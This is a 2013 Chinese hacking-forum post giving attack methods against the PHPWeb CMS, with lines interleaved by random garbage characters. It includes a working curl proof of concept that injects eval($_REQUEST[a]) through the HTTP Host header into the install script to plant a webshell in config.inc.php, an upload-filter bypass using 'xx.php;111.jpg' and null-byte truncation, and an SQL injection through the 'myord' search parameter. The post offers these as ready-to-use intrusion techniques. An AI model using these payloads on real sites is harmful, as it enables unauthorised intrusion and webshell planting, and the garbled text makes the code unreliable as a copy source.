找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2416|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
" o# Y5 M; ^6 v7 n7 i$ e+ F# A5 j7 x: }5 N
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
* C  W+ x4 ?% j# D) |3 l! N5 m 6 |; m+ \/ d: z2 P- p2 m
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
3 r4 K7 i* n  [! I1 y2 C5 J2 ]鸡肋2: 有一定安全常识的站长都会删掉 install 目录
3 w/ {( F. x$ \4 [ * @$ ~/ D% [( A+ M
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响/ G1 W) J" C- X5 \7 P6 [4 O
$ w1 D) i& N- A! M
分析:3 O4 v3 d* U8 G# u  A% M" E
2 b4 o, \, H, f+ l6 R
$ I9 ^/ N) f: ~8 i
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
! y2 o( ^' }5 f# g: _% {# M
. Z8 x' {' b9 B, d+ V; S                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
1 Y4 R8 P9 p# ^& B' V                                            $filestr=str_replace(" ","",$filestr);! a2 V7 g# I' @, p4 f
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& ^3 U: ~+ Y9 o/ }6 ?& C- ~
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
: [' s4 A' K1 e$ M/ @' Q                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
& n( R4 z& p- K7 n; e                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);/ Z3 `3 q  l0 s$ N, d7 }7 G4 }0 I
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);5 y" n$ e$ Y/ D
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);' k$ R; ?9 K1 l' _4 c
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);$ Z! B# s2 F+ |( v
- P) {( z7 E  Q7 J
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);! p) r% {; B. Q
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^' e- y2 P4 S4 L9 R' g
: \: r3 T( v7 K) t  T1 D0 ]' j
poc:
+ [  m% O2 ~* n+ Q& @
. Y; \( @" o: N: |! V?2 b, f, m# K- K# d- h) A  S8 l
1
3 t& _  p- Z  K& \: X: Y8 v# j1 ^curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
  |1 F& _) ~% tshell地址: /config.inc.php
( S( ~$ O0 `! A9 O$ }; N( O% C0 U跟之前的 phpcms一样 需要远程数据库
$ U. ]4 J7 W5 V! V! e 5 n5 V! |) {3 T' e
——————————————————–
1 |8 X# ?; s" H& J/ t上传漏洞(需要进后台):& N: D6 J6 P+ f
漏洞文件: /kedit/upload_cgi/upload.php
3 E9 h0 ]* V9 j这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
! s, v! L" j9 x; X! D# K1 s" e' N: q
0 a4 U. Q) o/ |7 Z! Y
/ k4 g0 K" B9 W1 I! V9 e( h; _<?php
. n, h2 r2 v; k! x0 T4 @    define("ROOTPATH", "../../");% S; g5 ?  h2 I) a6 S
    include(ROOTPATH."includes/admin.inc.php");5 }% G& q8 m8 b  b. I. e8 i8 ?! v
    NeedAuth(0);8 d: y2 \6 }' M: @

1 [9 k* {8 s2 Y! s6 Y  q" p    $dt=date("Ymd",time());
' T" e: `: b' k    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){* I3 x7 ~5 Y8 `5 {0 S3 D! H
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( k3 Q5 c; u/ l+ A3 g
    }/ c4 a& |) l7 u; D+ c( w' S
/ Y5 M* E) @: H9 Q
    //文件保存目录路径
: x% l7 g  {# K/ F    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';/ G& i% i( V) k5 ?# Y+ S
    echo $save_path;% ?# c. W0 x" R/ H6 R3 x
    //文件保存目录URL, X& X( M! ~2 g4 r& W2 Y( v
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';) S: A3 ]5 M3 ]' o7 I' L: @
: n& D8 _+ p' F: g, n5 F( ?# N
    //定义允许上传的文件扩展名
0 g2 W% }: u' T8 C- n/ U' N    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
- c6 U& `) {( L; s$ D % P/ r& s" y$ p3 u# F6 k6 r
    //最大文件大小1 |# V8 p# R; O$ a/ i2 I( g
    $max_size = 1000000;
# x( M9 s% E% r) f % B0 z7 o' t. U6 N1 w3 c# ~
    //更改目录权限
- m. X2 c& _) K$ ?( O: v) b    @mkdir($save_path, 0777);
( h( ]" n" M! d. d3 `7 e$ e6 Z 5 R9 s* G6 z- \4 j+ u' O7 P7 T
    //文件的全部路径
* k5 g. A! \0 _    $file_path = $save_path.$_POST['fileName'];   //保存文件名
. O+ K2 I: J& X+ B
' A$ _/ C7 u# U8 I& w+ r    //文件URL
( }8 h8 Q# ^/ Q5 t    $file_url = $save_url.$_POST['fileName'];/ k4 I/ Q+ t4 g! D/ M! T7 E$ H
//有上传文件时
0 w9 A8 a5 N, A( `8 z% W    if (empty($_FILES) === false) {1 M2 y& Y: \- c* `

5 J: v" w( I  J8 o  M3 n            //原文件名6 I) }/ r- a5 X
            $file_name = $_FILES['fileData']['name'];" h  P; M$ }1 [7 p1 |# f' q7 T
            //服务器上临时文件名+ I3 @% y& [; Z7 E* _1 J% d
            $tmp_name = $_FILES['fileData']['tmp_name'];2 K4 {4 l  S! `
            //文件大小/ O  E4 Z: d* W; O
            $file_size = $_FILES['fileData']['size'];  r9 p7 Y" _) N, d/ L
            //检查目录7 S% y# h, o$ s
            if (@is_dir($save_path) === false) {8 V% N7 V# v( }' k0 w  @) K
                    alert("上传目录不存在。");
2 z2 K. s4 `8 ^8 H            }
* C" `6 u1 A; C6 g( P7 Z            //检查目录写权限4 E  d7 B% E( Q7 @  Q
            if (@is_writable($save_path) === false) {1 B8 H6 e9 E5 f. G
                    alert("上传目录没有写权限。");/ t+ O$ E+ Z; Z  s9 }2 q0 c
            }2 E" Q4 V/ w6 i3 r
            //检查是否已上传
6 a( V* _+ J: f3 h8 W: ?- o! l            if (@is_uploaded_file($tmp_name) === false) {
9 _* q: g0 x7 [9 \! l2 c3 T$ ?                    alert("临时文件可能不是上传文件。");
' n. C* t; t; K; y            }7 E( U- z1 `- f- v+ l) k
            //检查文件大小
  _8 N$ e5 w% T2 S1 P9 u' l. j$ ~            if ($file_size > $max_size) {; X, o4 g- T) q6 L' X+ ~6 k: d7 I
                    alert("上传文件大小超过限制。");  W+ v6 Z' H. Z  b7 V; e
            }
) x7 M, y. y; c( H5 h9 ^' M, u' b5 X            //获得文件扩展名. z$ ?: M3 _, |; |0 R
            $temp_arr = explode(".", $_POST['fileName']);
- ^( w) f" n8 s5 m            $file_ext = array_pop($temp_arr);
) ~- Y5 b  I. ?  ~9 R5 ?8 f( }            $file_ext = trim($file_ext);
# p  V# @9 p8 q) a            $file_ext = strtolower($file_ext);
( P( \7 z# z5 Z& \5 Y / t/ s( o' u) ]
            //检查扩展名   / p; Y0 K5 e; b$ S. T4 Z: t4 g
            if (in_array($file_ext, $ext_arr) === false) {     ( z, Z, M2 q$ f! `
                    alert("上传文件扩展名是不允许的扩展名。");
7 f  ^0 \9 }4 J, ^            }
; A4 {. H( O  C' p6 Q 1 @3 u* j7 w  y9 E
            //移动文件   
- _0 }3 f- ~) a3 I' E            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^/ o" K' ~( c6 N! e3 x* h: C) S" z
            if (move_uploaded_file($tmp_name, $file_path) === false) {7 N6 D9 q5 C% p# l& N8 B
                    alert("上传文件失败。");
8 t) Q8 x+ o0 U5 A            }
3 _7 v9 P7 g4 [% Q3 w
# l) V9 z! W4 G/ y1 q5 i& G            @chmod($file_path,0666);
8 m/ c5 m- V* f" k 8 N" u  N1 P. O0 W5 _5 n+ b) P2 x
    ?>
( `0 ~! C, ^( r/ Q抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
5 U3 L" {5 G# q' w3 Q # _# F  v6 q! [, j( J& d% o- K
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过% Y& h, `$ q% [7 }
, L  h' z: y1 I! p* P( U" G
——————————————————) n" T9 F# B, @, B7 D
注入漏洞:( x/ l9 M( L  J/ T. i( j+ G; Q
漏洞文件:search/module/search.php7 ]* u( r8 z* x0 l
/search/index.php?key=1&myord=1 [sqlinjection]
  ~9 F: c3 L1 U# X/ n ; h2 d- n# i: L& u" u0 h& {# t
5 U( O; V3 r1 t
<?php2 q* \/ P# T0 q8 h# b, t
   //       ... 省略 n 行...
4 z5 X/ ~; F0 W( b   //第18行:' h$ s" M4 R, L  g9 E- {2 ]
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
$ @4 W1 S& k* K. V5 d           $page=htmlspecialchars($_GET["page"]);, I( ]* ?0 e( f" |
           $myord=htmlspecialchars($_GET["myord"]);
+ q1 B6 K1 J5 k4 a
  O! S) I+ R& H% j4 }   //       ... 省略 n 行...% ^# F; z. F; b9 E( A6 e8 {! x
   $key,$myord 两个参数带入查询
, t# q! K0 z  a, b" `. v4 }1 I   //第47行 $key:4 q) H* \/ F3 J

  j8 P4 B. z" e$ d+ N   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..( b( X" R6 J; @

! d! y/ E  _( w, E1 c0 b   //第197行 $myord8 R( |$ f! h* o
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
, O+ K3 ?+ G2 M# y4 z2 b7 k+ T2 O ( ^' V2 B6 g+ s. [/ T1 Y
   ?>
" Y/ n; o4 V! G: u- n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表